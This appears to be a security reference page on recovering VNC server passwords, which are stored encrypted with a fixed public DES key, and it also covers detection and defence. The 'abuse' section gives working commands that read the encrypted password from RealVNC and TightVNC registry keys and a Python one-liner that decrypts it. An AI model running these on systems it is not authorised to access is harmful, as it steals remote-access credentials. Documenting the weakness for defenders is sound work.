VNC Password Decryption

VNC password decryption instantly recovers a VNC server's password (TightVNC, RealVNC, UltraVNC) because it is not hashed but encrypted with a fixed, public DES key. With the ciphertext in hand you turn it back into plaintext without cracking anything.

Why it works. The VNC protocol stores the password with DES using a key that is the same across every installation (it lives in the code/documentation itself). This is reversible encryption, not a hash: no salt, no work factor, no brute force. Whoever reads the blob (from the registry, a config file .ini/.vnc, or a dump) gets the password in milliseconds.

The abuse. You locate the encrypted value and decrypt it with the known key.

# locate the blob in the registry (8 hex bytes)
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password
reg query "HKCU\SOFTWARE\TightVNC\Server" /v Password
# offline decryption with VNC's fixed key
echo -n '<hex>' | xxd -r -p > vncpass.bin
vncpwd vncpass.bin                 # or the metasploit module auxiliary/scanner/vnc/*
# python alternative (VNC fixed DES key)
python3 -c "from Crypto.Cipher import DES; print(DES.new(bytes.fromhex('e84ad660c4721ae0'),DES.MODE_ECB).decrypt(bytes.fromhex('<hex>')))"

Requirements. Read the encrypted blob: access to the registry (WinVNC/UltraVNC), its config file, or a backup where it appears.

How to detect it. Hard once the value is read (decryption is offline). The signal is access to VNC's registry keys or config files, and the use of known recovery utilities. Watch for reads of ...\WinVNC\Password by unexpected processes.

Defence. The VNC password is weak by design: don't rely on it as a single control. Tunnel VNC over SSH/VPN, put strong authentication in front, and set ACLs on the registry and config files. It is a cousin of reversible password storage and feeds credential hunting and credential reuse.